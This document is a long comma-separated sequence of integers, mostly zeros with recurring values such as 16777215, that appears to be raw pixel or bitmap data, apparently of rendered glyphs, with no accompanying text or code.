,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777142,6684672,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11953664,0,102,11993087,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,0,3838171,16777142,6684672,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,102,11993087,14389306,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,11953664,0,102,11993087,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,6721755,16777142,6684672,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,58,3815994,3816080,14417883,9452032,0,58,9493503,16767888,6699578,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,58,9493503,16767888,6699578,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,0,0,58,3815994,3816080,14417883,9452032,0,0,6731519,16758374,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3816038,9493503,16777142,6684672,0,102,11993087,14389306,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,11953664,0,102,11993087,11953664,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,0,6731519,16758374,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,26294,16777142,6684672,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,11953664,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,102,11993087,11953664,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,0,0,26294,16777142,6684672,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,0,0,3816080,11993087,16758374,0,0,58,9493503,14389306,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,102,11993087,11953664,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,6731519,16767888,3801088,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,102,11993087,11953664,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,3838171,16767888,3801088,0,0,0,0,102,11993087,11953664,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,3838171,16767926,11983871,11953664,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,14992,14417919,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,3838171,16767888,3801088,0,0,0,0,0,3838171,16767926,11983871,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9452032,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,3838171,16767888,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,0,58,9493503,14389306,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,58,9493503,14389306,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,